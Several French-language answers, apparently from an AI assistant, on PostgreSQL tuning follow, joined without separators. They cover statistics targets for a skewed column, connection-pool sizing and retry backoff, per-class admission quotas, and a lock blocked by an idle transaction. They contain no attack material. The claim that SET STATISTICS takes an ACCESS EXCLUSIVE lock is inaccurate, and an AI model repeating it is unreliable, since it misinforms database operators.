- Toute intervention doit être précédée d'un point de restauration vérifié et d'un accord explicite de l'exploitant, y compris pour un simple `ANALYZE` sur une instance sous forte charge (coût I/O non nul).
- Aucune de ces vérifications ne prouve à elle seule qu'il n'y a **pas** de régression du moteur : quatre contrôles concordants réduisent fortement cette hypothèse mais ne l'éliminent pas logiquement. Seule une reproduction minimale, sur données et configuration identiques, permet de l'affirmer.
- Je n'ai pas accès à votre instance : tout ce qui précède est une méthode de vérification, pas un constat sur votre cas.## 1. Diagnostic : quel est le défaut exact
Hypothèse de travail : **PostgreSQL** (vous ne précisez pas le SGBD ; les équivalents sont donnés au point 7). Précision d'honnêteté : ma recherche dans l'encyclopédie locale LANXAS ne renvoie aucun article sur PostgreSQL (résultats obtenus : SQL Server, MySQL, informatique décisionnelle). Les mécanismes ci-dessous proviennent donc de ma connaissance du moteur, pas d'une source que je puisse vous citer ici ; ils sont vérifiables chez vous par les requêtes du point 5, et c'est cette vérification qui doit faire preuve.
Le symptôme « FR fortement sous-estimé » a **trois causes candidates distinctes**, et le réglage n'est pas le même. Il faut trancher avant d'agir.
**Cause A, la plus probable : `default_statistics_target` trop faible pour 201 valeurs distinctes.**
La cible par défaut vaut 100. Or le tableau `most_common_vals` (MCV) est borné par cette cible : au plus 100 entrées. Avec 201 valeurs distinctes, **au moins 101 valeurs sortent des MCV** et sont estimées par la fréquence résiduelle moyenne. Si FR est capté dans les MCV, son estimation est bonne ; s'il ne l'est pas, ou si l'échantillon est trop petit et bruité, l'estimation retombe sur une sélectivité générique.
**Cause B, très fréquente et souvent confondue avec A : le prédicat n'utilise pas les MCV.**
Les MCV ne s'appliquent qu'à une comparaison avec une **constante connue au moment de la planification**. Sont donc concernés :
- requête préparée exécutée en **plan générique** (`country = $1`), après 5 exécutions le moteur peut figer un plan générique ;
- prédicat sur **expression** : `lower(country) = 'fr'`, `country::text = ...`, `trim(country) = ...` ;
- colonne sortant d'un CTE matérialisé, d'une fonction ou d'une sous-requête opaque.
Dans ces cas, la sélectivité utilisée est générique, typiquement $1/n_{distinct}$ :
$$s_{\text{generique}} = \frac{1}{201} \approx 0{,}00498 \quad\text{soit } 0{,}498\ \%$$
alors que la réalité est $0{,}95$. Le facteur d'erreur vaut :
$$\frac{0{,}95}{1/201} = 190{,}95 \approx \mathbf{191\times}$$
Ce facteur ~191 est exactement le profil d'une « forte sous-estimation ». C'est un indice fort en faveur de la cause B.
**Cause C : statistiques périmées.**
L'autovacuum ne déclenche `ANALYZE` qu'au-delà d'un seuil proportionnel (`autovacuum_analyze_scale_factor`, 0,1 par défaut de mémoire). Sur une grosse table à forte croissance, les MCV peuvent refléter une distribution ancienne. À vérifier via `last_analyze`.
Remarque de méthode : la répartition que vous décrivez est **fortement asymétrique**, pas simplement « mal échantillonnée ». Augmenter la cible statistique corrige A et C, mais **ne corrige pas B** : ce point est le piège classique.
## 2. Réglage recommandé
Décision : appliquer les trois leviers dans cet ordre, du moins invasif au plus structurant.
| Levier | Valeur recommandée | Cause traitée | Justification |
|---|---|---|---|
| `ALTER COLUMN country SET STATISTICS` | **500** (minimum 250) | A et C | 500 > 201 : les 201 valeurs tiennent **toutes** dans les MCV, y compris les rares |
| Taille de l'échantillon | 300 × 500 = **150 000 lignes** | A | l'échantillon d'`ANALYZE` est proportionnel à la cible |
| `plan_cache_mode` | `force_custom_plan` **au niveau de la requête ou du rôle**, pas globalement | B | force la prise en compte de la constante réelle, donc des MCV |
| Réécriture des prédicats sur expression | index d'expression + `ANALYZE`, ou normalisation en amont | B | les statistiques de colonne ne couvrent pas `lower(country)` |
| `CREATE STATISTICS` multi-colonnes | si `country` est corrélée à une autre colonne du filtre | corrélation | l'hypothèse d'indépendance sous-estime les conjonctions |
Pourquoi 500 et non 10 000 : la cible maximale (10 000) porterait l'échantillon à 3 000 000 de lignes, coûteuse en E/S et en durée d'`ANALYZE`, pour un gain nul ici puisque 500 suffit déjà à couvrir 201 valeurs distinctes. Choisir 500 est un compromis, pas une valeur canonique.
## 3. Commandes de mise à jour
Ordre d'exécution, avec les contrôles avant et après.
```sql
-- 0) Constat AVANT (à conserver comme preuve)
SELECT n_distinct,
array_length(most_common_vals, 1) AS nb_mcv,
most_common_vals[1:5] AS top5,
most_common_freqs[1:5] AS freq5
FROM pg_stats
WHERE schemaname = 'public'
AND tablename = 'ma_table'
AND attname = 'country';
SELECT relname, last_analyze, last_autoanalyze, n_mod_since_analyze
FROM pg_stat_user_tables
WHERE relname = 'ma_table';
```
```sql
-- 1) Réglage ciblé de la colonne (DDL léger, pas de réécriture de table)
ALTER TABLE public.ma_table
ALTER COLUMN country SET STATISTICS 500;
-- 2) Recalcul des statistiques sur cette table uniquement
ANALYZE VERBOSE public.ma_table;
```
```sql
-- 3) Optionnel, si la cause B est confirmée : au niveau de la session/du rôle,
-- JAMAIS en global sans mesure préalable du surcoût de planification
SET plan_cache_mode = 'force_custom_plan';
-- persistant pour un rôle applicatif dédié :
-- ALTER ROLE app_readonly SET plan_cache_mode = 'force_custom_plan';
```
```sql
-- 4) Optionnel, si prédicat sur expression
CREATE INDEX CONCURRENTLY idx_ma_table_country_lower
ON public.ma_table (lower(country));
ANALYZE public.ma_table; -- indispensable : crée les stats de l'expression
```
```sql
-- 5) Optionnel, si corrélation avec une autre colonne filtrée
CREATE STATISTICS stx_country_region (dependencies, mcv)
ON country, region FROM public.ma_table;
ANALYZE public.ma_table;
```
Rollback, à préparer avant d'agir :
```sql
ALTER TABLE public.ma_table ALTER COLUMN country SET STATISTICS -1; -- retour au défaut
ANALYZE public.ma_table;
RESET plan_cache_mode;
DROP STATISTICS IF EXISTS stx_country_region;
DROP INDEX CONCURRENTLY IF EXISTS idx_ma_table_country_lower;
```
## 4. Résultat attendu, chiffré
Illustration sur une table de $N = 10^7$ lignes (adaptez à votre volume réel).
| Grandeur | Avant (sélectivité générique) | Après correction | Écart |
|---|---|---|---|
| Sélectivité estimée pour `country='FR'` | $1/201 \approx 0{,}498\ \%$ | $\approx 95\ \%$ | $\times 190{,}95$ |
| Lignes estimées | $\approx 49\ 751$ | $\approx 9\ 500\ 000$ | facteur ~191 |
| `nb_mcv` dans `pg_stats` | $\le 100$ | **201** (toutes les valeurs) | — |
| `n_distinct` | possiblement < 201, ou négatif (ratio) | $\approx 201$ | — |
| Plan probable sur `country='FR'` | Index Scan / Nested Loop | **Seq Scan** ou Bitmap, jointure Hash ou Merge | — |
| Plan probable sur une valeur rare | Seq Scan (surestimé) | Index Scan | — |
Calculs vérifiés en local :
$$\frac{1}{201} = 0{,}004975\ldots \qquad 0{,}95 \times 10^7 = 9\,500\,000 \qquad \frac{10^7}{201} = 49\,751{,}2$$
Effet opérationnel attendu, **et c'est le double gain** : le plan pour FR cesse d'être un Nested Loop sur index (catastrophique à 9,5 M de lignes), et symétriquement les 200 valeurs rares, jusqu'ici noyées dans une fréquence résiduelle moyenne, obtiennent enfin une estimation individuelle correcte, donc un accès par index.
## 5. Vérification, obligatoire avant de conclure au succès
Un `ANALYZE` retourné sans erreur ne prouve pas que le plan est corrigé. Trois contrôles :
```sql
-- (a) FR est-il dans les MCV avec la bonne fréquence ?
SELECT unnest(most_common_vals::text::text[]) AS val,
unnest(most_common_freqs) AS freq
FROM pg_stats
WHERE tablename = 'ma_table' AND attname = 'country'
ORDER BY freq DESC LIMIT 5;
-- attendu : FR en tête, freq ~0.95
```
```sql
-- (b) écart estimation / réalité sur la requête réelle
EXPLAIN (ANALYZE, BUFFERS, VERBOSE)
SELECT ... FROM ma_table WHERE country = 'FR' AND ...;
-- comparer rows=... (estimé) et actual rows=... ; viser un ratio < 2 ou 3
```
```sql
-- (c) cause B : le plan préparé utilise-t-il bien la constante ?
PREPARE p(text) AS SELECT count(*) FROM ma_table WHERE country = $1;
EXPLAIN (ANALYZE) EXECUTE p('FR'); -- répéter 6 fois : si l'estimation chute
-- vers ~1/201 à la 6e, c'est le plan génerique
```
Critère d'acceptation à fixer par écrit : ratio estimé/réel inférieur à 3 sur FR **et** sur au moins 5 valeurs rares tirées au hasard, plus non-régression du temps d'`ANALYZE` et du temps de planification.
## 6. Risques et limites
- **Aucune de ces opérations n'est sans risque.** `ALTER TABLE ... SET STATISTICS` prend un verrou `ACCESS EXCLUSIVE` bref : sur une table très sollicitée, exécutez-la avec `SET lock_timeout = '2s'` et hors pic, sinon vous risquez une file d'attente de sessions.
- `ANALYZE` consomme des E/S et de la mémoire ; sur une très grande table avec cible 500, prévoyez une fenêtre et surveillez la charge.
- `force_custom_plan` **replanifie à chaque exécution** : gain sur les estimations, surcoût CPU de planification sur les requêtes très fréquentes et courtes. À mesurer, jamais à activer globalement sans mesure.
- Corriger l'estimation peut **changer le plan dans les deux sens** : un passage en Seq Scan sur 95 % des lignes est normalement le bon choix, mais validez le temps de réponse réel, pas seulement le coût estimé.
- **Limite de méthode** : je n'ai accès ni à votre schéma, ni à votre volume, ni à vos plans. Je ne peux donc pas affirmer laquelle des causes A, B ou C est la vôtre. Le point 5 (a)/(c) est le discriminant : si FR figure déjà dans les MCV à 0,95 **avant** tout changement, alors la cause est B ou une corrélation multi-colonnes, et augmenter la cible statistique ne vous apportera rien.
- Les valeurs par défaut citées (cible 100, échantillon 300 × cible, `autovacuum_analyze_scale_factor` 0,1) sont issues de ma mémoire du moteur et peuvent varier selon la version et votre `postgresql.conf` ; confirmez-les par `SHOW default_statistics_target;` et `SELECT version();`.
## 7. Équivalents sur les autres moteurs, à confirmer dans leur documentation
Je ne peux pas les vérifier avec mes outils locaux ; à considérer comme pistes, pas comme faits établis :
- **SQL Server** : `UPDATE STATISTICS dbo.ma_table (stat_country) WITH FULLSCAN;`, et attention au « parameter sniffing », analogue direct de la cause B (`OPTION (RECOMPILE)`).
- **Oracle** : `DBMS_STATS.GATHER_TABLE_STATS` avec `METHOD_OPT => 'FOR COLUMNS SIZE 254 COUNTRY'` pour un histogramme de fréquence, plus « adaptive cursor sharing » pour la cause B.
- **MySQL/InnoDB** : `ANALYZE TABLE ma_table UPDATE HISTOGRAM ON country WITH 256 BUCKETS;`.# 1. Diagnostic quantitatif
**Demande totale théorique**
$$D = 200 \times 20 = 4000 \text{ connexions}$$
**Capacité** : $C = 500$ (limite déclarée de la base).
**Dépassement**
$$D - C = 4000 - 500 = 3500 \text{ connexions en excès}$$
$$\frac{D}{C} = \frac{4000}{500} = 8 \quad \Rightarrow \quad 700\ \% \text{ au-dessus de la limite}$$
(calcul vérifié avec l'outil Python local)
**Budget réellement disponible par pod**
| Grandeur | Valeur | Calcul |
|---|---|---|
| Connexions par pod si partage égal | $2{,}5$ | $500/200$ |
| Avec réserve d'exploitation de 50 (admin, migrations, monitoring) | $2{,}25$ | $(500-50)/200$ |
| Nombre de pods soutenables à 20 conn/pod | $25$ | $\lfloor 500/20 \rfloor$ |
Autrement dit, la configuration actuelle est dimensionnée pour environ 25 pods, pas 200. Le pool par pod doit être divisé par un facteur d'environ 8 à 9.
**Ce qui se passe concrètement au redémarrage** (mécanisme classique, description technique générale, non mesurée sur votre système) : les 200 pods démarrent quasi simultanément, chaque pool ouvre son minimum de connexions en parallèle. La base accepte les premières jusqu'à saturation, puis refuse (sur PostgreSQL, erreur de type « too many clients already »). Les pods refusés échouent leur sonde de démarrage, sont tués par l'orchestrateur, redémarrent, retentent, ce qui produit une tempête de reprise (thundering herd) auto-entretenue. À titre d'illustration d'ordre de grandeur, 3500 clients en échec qui retentent 10 fois par seconde pendant 10 s génèrent environ $3500 \times 10 \times 10 = 350\,000$ tentatives inutiles, chacune consommant du CPU d'authentification côté base. Le système peut ne jamais converger sans intervention.
**Point important souvent négligé** : le nombre de connexions utiles n'a rien à voir avec 4000. Par la loi de Little, $N = \lambda \times W$ (débit multiplié par le temps de service) :
| Débit visé | Latence moyenne requête | Connexions actives nécessaires |
|---|---|---|
| 2000 req/s | 5 ms | ~10 |
| 2000 req/s | 20 ms | ~40 |
| 5000 req/s | 10 ms | ~50 |
Un pool surdimensionné n'augmente pas le débit, il augmente la contention et la latence. Le dimensionnement doit partir du débit et de la latence, pas du nombre de pods.
# 2. Décision recommandée
Trois lignes de défense, à mettre en place ensemble. Aucune n'est suffisante seule.
**Ligne 1, un intermédiaire de multiplexage (la mesure structurante).** Interposez un pool de connexions externe entre les pods et la base : PgBouncer en mode transaction pour PostgreSQL, ProxySQL pour MySQL, ou le pooler managé de votre fournisseur. Le mode transaction découple les connexions clientes des connexions serveur : les pods peuvent conserver un pool confortable côté client tandis que le pooler ne maintient qu'un petit nombre de connexions serveur. C'est le seul mécanisme qui casse la relation linéaire entre nombre de pods et nombre de connexions base.
Contrainte à connaître : en mode transaction, les fonctionnalités liées à la session ne sont plus fiables (instructions préparées côté serveur selon les versions, `LISTEN/NOTIFY`, tables temporaires, `SET` de session, verrous conseil de session). Il faut auditer le code applicatif avant de basculer. Si vous utilisez massivement ces fonctionnalités, restez en mode session et compensez par les lignes 2 et 3, avec un plafond de pods plus strict.
**Ligne 2, un plafond côté base (refus en mode fermé).** La limite de 500 ne doit pas être la seule barrière. Créez un rôle applicatif dédié, distinct du rôle de migration, avec un plafond de connexions propre, et gardez une marge pour l'exploitation. Sur PostgreSQL, `ALTER ROLE app_runtime CONNECTION LIMIT n` et le paramètre `superuser_reserved_connections` protègent l'accès d'urgence. Sans réserve, un incident de saturation vous empêche de vous connecter pour le corriger.
**Ligne 3, une discipline de démarrage côté application.** Pool minimal réduit, connexion paresseuse, jitter, backoff, disjoncteur, et déploiement échelonné.
# 3. Actions concrètes
**3.1 Redimensionner le pool par pod**
Cible de départ, sous l'hypothèse d'un pooler en mode transaction : `min=0`, `max=3` par pod. Sans pooler : `min=0`, `max=2`, avec un plafond de rôle à 450.
Règle de dimensionnement à appliquer :
$$\text{max\_pool\_par\_pod} = \max\left(2,\ \left\lfloor \frac{C - R}{P_{\max}} \right\rfloor \right)$$
où $C$ est la capacité, $R$ la réserve d'exploitation, $P_{\max}$ le nombre maximal de pods atteignable en pic d'autoscaling (pas le nombre nominal). Avec $C=500$, $R=50$, $P_{\max}=200$ : $\lfloor 450/200 \rfloor = 2$.
**3.2 Rendre l'acquisition paresseuse et le démarrage non bloquant**
Le pod ne doit pas ouvrir de connexion pour démarrer. La sonde de disponibilité (readiness) peut dépendre de la base, mais la sonde de vivacité (liveness) ne doit **jamais** en dépendre, sinon la saturation base provoque un massacre de pods et amplifie la tempête.
**3.3 Backoff exponentiel avec jitter complet**
Le jitter est le point critique : un backoff exponentiel sans jitter resynchronise les 200 pods sur les mêmes instants de retentative.
```python
import random, time
BASE_DELAY = 0.5 # secondes
MAX_DELAY = 30.0
MAX_TRIES = 8
def acquire_with_backoff(acquire, is_retryable):
"""Acquisition avec backoff exponentiel et jitter complet (full jitter).
acquire() -> retourne une connexion ou leve une exception
is_retryable(e)-> True si l'erreur est une saturation/indisponibilite transitoire
"""
last = None
for attempt in range(MAX_TRIES):
try:
return acquire()
except Exception as exc:
if not is_retryable(exc):
raise # erreur d'authentification, schema : ne pas retenter
last = exc
ceiling = min(MAX_DELAY, BASE_DELAY * (2 ** attempt))
time.sleep(random.uniform(0.0, ceiling)) # full jitter
raise RuntimeError("acquisition impossible apres backoff") from last
```
Les délais successifs sont tirés uniformément dans $[0, \min(30,\ 0{,}5 \times 2^{k})]$, ce qui étale les 200 pods au lieu de les synchroniser. Une erreur d'authentification ou de schéma ne doit pas être retentée : elle ne se résoudra pas d'elle-même et consomme la capacité.
**3.4 Disjoncteur (circuit breaker)**
Au-delà d'un seuil d'échecs consécutifs, ouvrez le circuit pendant un temps mort, servez une réponse dégradée explicite (503 avec `Retry-After`), puis rouvrez progressivement en mode semi-ouvert avec un nombre limité de sondes. Objectif : arrêter d'envoyer du trafic à une base saturée, ce qui est la seule façon de lui laisser reprendre son souffle.
**3.5 Démarrage échelonné**
Ne relancez pas 200 pods d'un coup. Trois leviers, à combiner :
- déploiement progressif par vagues d'environ 20 à 25 pods, chaque vague attendant la disponibilité de la précédente (dans Kubernetes, `maxSurge` et `maxUnavailable` bas, ou un StatefulSet avec `podManagementPolicy: OrderedReady`) ;
- une file d'attente d'admission ou un sémaphore distribué qui borne le nombre d'initialisations concurrentes ;
- côté pooler, une file d'attente avec délai maximal d'attente, préférable à un refus immédiat : elle transforme un échec en latence.
**3.6 Migrations de schéma**
Séparez strictement les droits de migration des droits d'exécution. La migration s'exécute comme une tâche unique, sous un rôle distinct, **avant** l'arrivée des pods, jamais en parallèle par 200 pods concurrents. Avant de rejouer une migration, créez un point de restauration ; ne rejouez jamais une migration sur un état partiel sans contrôle.
# 4. Vérification
Contrôles à exécuter, dont je n'ai pas les résultats puisque je n'ai accès ni à votre cluster ni à votre base.
Connexions réellement établies, par rôle et par état (PostgreSQL) :
```sql
SELECT usename, state, count(*)
FROM pg_stat_activity
GROUP BY usename, state
ORDER BY count(*) DESC;
```
Vérification du plafond effectif du rôle :
```sql
SELECT rolname, rolconnlimit FROM pg_roles WHERE rolname = 'app_runtime';
```
Indicateurs à instrumenter et à mettre sous alerte :
| Indicateur | Seuil d'alerte suggéré | Ce qu'il révèle |
|---|---|---|
| Connexions établies / limite | > 80 % | Marge avant saturation |
| Connexions `idle in transaction` | > 0 durablement | Fuite de transaction, cause fréquente de saturation |
| Temps d'attente d'acquisition dans le pool (p99) | croissance soutenue | Pool sous-dimensionné ou requêtes lentes |
| Taux de refus de connexion | > 0 | Plafond atteint |
| Redémarrages de pods au déploiement | > 0 | Sonde mal configurée ou tempête de reprise |
Test de charge indispensable : rejouez un redémarrage complet des 200 pods sur un environnement de préproduction représentatif, en mesurant le temps de convergence et le nombre de refus. Un déploiement qui converge en préproduction n'est pas une preuve absolue de convergence en production, mais un déploiement qui ne converge pas en préproduction est une certitude d'échec.
# 5. Risques et limites
- **Aucune configuration n'est sans risque.** Réduire le pool à 2 ou 3 connexions par pod peut créer de la contention interne si vos requêtes sont lentes ou si le code sérialise des appels base. Il faut mesurer la latence p99 après changement.
- **PgBouncer en mode transaction introduit une incompatibilité fonctionnelle** avec les fonctionnalités de session. Audit préalable obligatoire, sinon vous échangez une panne de saturation contre des bugs silencieux.
- **Le pooler devient un point de défaillance unique** s'il est déployé en instance unique. Prévoyez de la redondance et une supervision propre.
- **La limite de 500 peut ne pas être la vraie contrainte.** La mémoire, le nombre de cœurs, les I/O ou les verrous peuvent saturer avant. Augmenter la limite sans augmenter les ressources dégrade la latence au lieu de l'améliorer.
- **Chiffres non vérifiables ici** : je ne connais ni votre débit réel, ni votre latence de requête, ni votre moteur de base, ni vos éventuelles fuites de transaction. Les valeurs 2 et 3 connexions par pod sont des points de départ dérivés de l'arithmétique de capacité, pas des optima mesurés sur votre charge.
# 6. Hypothèses posées
- La limite de 500 est bien un plafond de connexions concurrentes côté serveur, et non un plafond par utilisateur ou par instance de réplica.
- Les 200 pods appartiennent à la même base et au même rôle applicatif.
- Le nombre de 200 pods est le nominal ; si l'autoscaling peut monter plus haut, recalculez avec $P_{\max}$ et non 200.## 3. Quota
Le quota se déduit de la loi de Little, $L=\lambda W$ : le nombre de connexions simultanément occupées par une classe est le produit de son débit par son temps de service (théorème de Little, résultat établi de la théorie des files d'attente).
$$c_{\text{int}} = \lambda_{\text{int}}\,S_{\text{int}}\,k, \qquad c_{\text{ana}} = \lambda_{\text{ana}}\,S_{\text{ana}}$$
**Répartition proposée d'un pool inchangé de 50** (aucune augmentation, ce qui évite de déplacer la contention vers le CPU et les IOPS du serveur) :
| Classe | Quota | Charge offerte | `statement_timeout` | Justification |
|---|---|---|---|---|
| Interactive | **40** | $3{,}0$ Erlangs (hypothèse : $\lambda=300$ q/s, $S=10$ ms) | 250 ms | utilisation $7{,}5\%$, attente de file négligeable |
| Analytique | **8** | $8$ Erlangs saturés | 30 s (60 s pour les lots validés) | débit soutenu $8/30 \approx 0{,}27$ q/s |
| Admin / migration / sondes | **2** | marginale | 5 s | garantit l'observabilité sous saturation |
Vérification du quota interactif par le modèle $M/M/c$ (formule d'Erlang C, calcul exécuté ci-dessus, hypothèse d'arrivées poissonniennes et de service exponentiel) :
| $\lambda$ (q/s) | Utilisation | $P(\text{attente})$ | Attente moyenne en file |
|---|---|---|---|
| 300 | 0,075 | $8{,}0\times10^{-31}$ | $\approx 0$ |
| 2000 | 0,500 | $\approx 0$ | $\approx 0$ |
| 3000 | 0,750 | 0,055 | 0,055 ms |
| 3500 | 0,875 | 0,315 | 0,629 ms |
| 3800 | 0,950 | 0,664 | 3,32 ms |
Avec 40 connexions et un service de 10 ms, la file interactive ne consomme donc une part significative du budget de 200 ms qu'au-delà de $\sim 3800$ q/s, soit **plus de 12 fois la charge supposée**. La contrainte de 8 connexions analytiques ne coûte que du temps de complétion du lot : les $50\times30 = 1500$ connexion-secondes de travail s'écoulent en
$$\frac{1500}{8} = 187{,}5\ \text{s} \quad \text{au lieu de}\ 30\ \text{s}.$$
C'est l'arbitrage explicite à valider avec le métier : le lot analytique est ralenti d'un facteur $50/8 = 6{,}25$ pour rendre le SLO interactif atteignable. Si ce délai est inacceptable, la réponse correcte est un réplica dédié, pas la restitution de connexions au pool partagé.
**Budget de latence interactif** (décomposition du SLO p99 de 200 ms, à ajuster sur vos mesures) :
| Poste | Budget |
|---|---|
| Réseau + application | 30 ms |
| Attente d'acquisition de connexion | **50 ms** (borne dure) |
| Exécution SQL (p99) | 100 ms |
| Marge | 20 ms |
## 4. Admission
Trois mécanismes complémentaires. Le quota borne la concurrence, l'admission borne l'attente et la taille de la file.
**a) Attente d'acquisition bornée, jamais infinie.** C'est la correction la plus importante : un `acquire()` sans délai transforme la saturation base de données en effondrement applicatif.
**b) File bornée, ordonnancement LIFO, et rejet du travail périmé.** Sous surcharge, LIFO préserve un sous-ensemble de requêtes rapides au lieu de dégrader uniformément toutes les requêtes (principe utilisé par les algorithmes de contrôle de surcharge de type CoDel, décrit dans la littérature sur l'ordonnancement de files sous charge ; je le donne comme choix d'ingénierie argumenté, pas comme résultat prouvé pour votre charge).
**c) Propagation d'échéance (deadline) et délestage par priorité.** Une requête dont l'échéance client est déjà dépassée ne doit pas consommer de connexion.
```python
import asyncio, time
from dataclasses import dataclass
class AdmissionRejected(Exception):
"""Rejet d'admission : renvoyer HTTP 503 + Retry-After, jamais une 500."""
@dataclass(frozen=True)
class ClassPolicy:
name: str
quota: int # connexions simultanees
acquire_budget: float # attente max d'acquisition, en secondes
max_queue: int # profondeur de file bornee
POLICIES = {
"interactive": ClassPolicy("interactive", 40, 0.050, 200),
"analytics": ClassPolicy("analytics", 8, 2.000, 50),
"admin": ClassPolicy("admin", 2, 1.000, 5),
}
class ClassGate:
"""Sas d'admission par classe : quota + file bornee LIFO + budget d'attente."""
def __init__(self, policy: ClassPolicy):
self._p = policy
self._slots = asyncio.Semaphore(policy.quota)
self._queued = 0
self._lock = asyncio.Lock()
self.rejected_full = 0
self.rejected_timeout = 0
self.rejected_expired = 0
async def acquire(self, deadline: float) -> None:
now = time.monotonic()
if deadline <= now: # travail deja perime
self.rejected_expired += 1
raise AdmissionRejected(f"{self._p.name}: echeance depassee avant admission")
async with self._lock:
if self._queued >= self._p.max_queue: # rejet immediat, pas d'attente
self.rejected_full += 1
raise AdmissionRejected(f"{self._p.name}: file pleine ({self._p.max_queue})")
self._queued += 1
try:
budget = min(self._p.acquire_budget, deadline - now)
await asyncio.wait_for(self._slots.acquire(), timeout=budget)
except asyncio.TimeoutError:
self.rejected_timeout += 1
raise AdmissionRejected(
f"{self._p.name}: budget d'acquisition de {budget*1000:.0f} ms epuise"
) from None
finally:
async with self._lock:
self._queued -= 1
def release(self) -> None:
self._slots.release()
GATES = {name: ClassGate(p) for name, p in POLICIES.items()}
class classified_connection:
"""Usage : async with classified_connection('interactive', pools, deadline) as conn: ..."""
def __init__(self, cls: str, pools: dict, deadline: float):
if cls not in GATES:
raise ValueError(f"classe inconnue: {cls}") # refus par defaut
self._gate, self._pool, self._deadline = GATES[cls], pools[cls], deadline
self._acq = None
async def __aenter__(self):
await self._gate.acquire(self._deadline)
try:
self._acq = self._pool.acquire() # pool DEDIE a la classe, aucun emprunt
return await self._acq.__aenter__()
except BaseException:
self._gate.release()
raise
async def __aexit__(self, et, ev, tb):
try:
if self._acq is not None:
return await self._acq.__aexit__(et, ev, tb)
finally:
self._gate.release()
```
Note d'honnêteté : ce code n'a pas été exécuté ici, seuls les calculs de dimensionnement ci-dessus l'ont été. Le sémaphore d'`asyncio` est FIFO ; pour obtenir réellement du LIFO il faut remplacer `asyncio.Semaphore` par une pile de `Future` dépilée en dernier-entré-premier-servi. Le `finally` garantit qu'aucun jeton n'est perdu sur annulation, point le plus fréquent de fuite de sémaphore.
**Interposition PgBouncer**, pour que la borne existe même si un client contourne l'application :
```ini
[databases]
app_interactive = host=pg dbname=app pool_size=40 pool_mode=transaction
app_analytics = host=pg-replica dbname=app pool_size=8 pool_mode=transaction
app_admin = host=pg dbname=app pool_size=2 pool_mode=session
[pgbouncer]
max_db_connections = 50
query_wait_timeout = 5
server_login_retry = 1
```
Les identifiants proviennent d'un gestionnaire de secrets, jamais du fichier de configuration en clair, et `pool_mode=transaction` interdit les fonctionnalités de session (curseurs `WITH HOLD`, `SET` persistant, instructions préparées côté session selon la version), ce qu'il faut vérifier avant bascule.
**Contrôle adaptatif, optionnel et à mesurer.** Un limiteur de concurrence AIMD ou de type gradient (approche implémentée par la bibliothèque ouverte `concurrency-limits` de Netflix) ajuste le quota interactif à partir de la latence observée. Utile si $S_{\text{int}}$ varie fortement, superflu si la charge est stable. Je le présente comme option, pas comme recommandation par défaut.
## 5. Vérification
Rien de ce qui précède ne doit être déclaré résolu sans ces mesures :
```sql
-- Où le temps se passe-t-il réellement ? (extension pg_stat_statements requise)
SELECT usename, state, wait_event_type, wait_event, count(*),
max(now() - query_start) AS plus_ancienne
FROM pg_stat_activity
WHERE backend_type = 'client backend'
GROUP BY 1,2,3,4 ORDER BY 5 DESC;
```
| Indicateur | Cible | Source |
|---|---|---|
Attente d'acquisition p99, par classe | $< 50$ ms | métrique du sas (à instrumenter) |
| Latence interactive p99 bout en bout | $< 200$ ms | traces applicatives |
| Taux de rejet d'admission interactif | $\approx 0$ en régime nominal | compteurs `rejected_*` |
| Connexions actives par rôle | $\le$ quota | `pg_stat_activity` |
| Requêtes tuées par `statement_timeout` | connu et stable | journaux PostgreSQL |
Protocole : test de charge injectant simultanément 300 q/s interactives et un lot de 50 requêtes analytiques de 30 s, avant et après, sur environnement de préproduction. Un test sans le lot analytique concurrent ne prouve rien de ce qui est en cause ici.
## 6. Risques et limites
- **Le quota de connexions ne protège pas le CPU, le cache partagé ni les IOPS.** 8 requêtes analytiques lourdes peuvent violer le SLO par contention de ressources physiques sans jamais dépasser leur quota. Seule la séparation sur un réplica traite ce risque à la racine.
- **`statement_timeout = 250ms` sur le rôle interactif tuera des requêtes légitimes** si votre p99 réel dépasse cette valeur. Mesurez d'abord, calibrez ensuite, et déployez en observation avant de rendre la borne effective.
- **Le modèle $M/M/c$ est une approximation.** Le service réel n'est pas exponentiel, les arrivées sont probablement corrélées en rafales, et les valeurs $\lambda=300$ q/s et $S=10$ ms sont des hypothèses de ma part, pas vos mesures. Les attentes calculées sont donc optimistes : traitez-les comme un ordre de grandeur, pas comme un engagement.
- **Le mode transaction du pooler casse la sémantique de session.** Vérifiez les instructions préparées, les `SET`, les tables temporaires et les curseurs avant bascule, sinon vous échangez un problème de latence contre un problème de correction.
- **La modification des rôles est une migration** : appliquez-la avec un rôle de migration distinct, hors des heures de pointe, avec le script de retour arrière prêt (`ALTER ROLE ... CONNECTION LIMIT -1`, `RESET statement_timeout`) et un point de restauration préalable. `ALTER ROLE ... CONNECTION LIMIT` n'affecte pas les sessions déjà ouvertes, ce qui rend l'effet progressif et non instantané.
- **Sécurité résiduelle** : le sas d'admission devient une surface de déni de service si la classification de la requête est déductible du client. Elle doit être décidée côté serveur, à partir de la route et de l'identité authentifiée, jamais d'un en-tête fourni par l'appelant.## 1. Diagnostic, ce que dit la signature observée
Signature : victime en `wait_event_type = Lock`, `wait_event = relation`; bloqueur en `state = 'idle in transaction'` depuis 40 min, détenant `AccessExclusiveLock` sur la relation après un DDL.
**Cause mécanique (et non un deadlock)** : en PostgreSQL, les verrous de niveau table pris par une transaction sont conservés jusqu'à la fin de la transaction (`COMMIT` ou `ROLLBACK`), pas jusqu'à la fin de l'instruction. Un DDL (`ALTER TABLE`, `DROP`, `TRUNCATE`, `REINDEX`, `VACUUM FULL`) acquiert `AccessExclusiveLock`, qui est incompatible avec **tous** les autres modes, y compris `AccessShareLock` demandé par un simple `SELECT`. La transaction fautive a exécuté le DDL puis est restée ouverte sans commit ni rollback (`idle in transaction`), typiquement un client applicatif qui a rendu la connexion au pool sans clore la transaction, un `BEGIN` interactif abandonné, ou un outil de migration interrompu.
Trois conséquences à nommer explicitement :
- **Aucune résolution automatique.** Il n'y a pas de cycle d'attente, donc le détecteur de verrous mortels (deadlock detector) ne cassera rien. L'attente est indéfinie en l'absence de `lock_timeout`.
- **Effet de convoi.** La demande `AccessExclusiveLock` en attente, ou la victime en attente, bloque les demandes ultérieures même mutuellement compatibles, car la file de verrous est ordonnée. Un seul bloqueur peut donc geler toute la table pour l'ensemble du trafic.
- **Effets collatéraux** : rétention de `backend_xmin` empêchant le nettoyage par autovacuum (bloat, dérive de l'âge des transactions), et sur une architecture répliquée, risque de conflit de rejeu côté standby.
